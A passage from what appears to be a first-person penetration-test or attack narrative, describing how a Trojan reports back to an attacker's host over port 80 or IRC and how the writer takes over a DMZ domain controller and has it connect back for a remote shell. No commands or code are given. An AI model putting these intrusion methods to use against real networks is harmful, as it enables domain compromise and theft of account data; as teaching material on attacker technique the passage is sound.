Domain: PYN-DMZ
DC: PYN-DMZ-DC

The notification can be received any way I want. This particular Trojan simply opens a socket to port 80 on the attacker's host and sends the notification to it. Notifications could be encrypted, encoded, come over just about any port or protocol, and altered in a myriad of ways. For instance, notifications to an IRC chat channel are quite common.

At this point, the DMZ domain has fallen and I have taken over the domain controller. Remember, this is the keeper of the keys to the kingdom and contains the user accounts database, among other things. In order to make use of this newfound power, I once again make the DC connect to me so I can get a remote shell. Once I do, I continue learning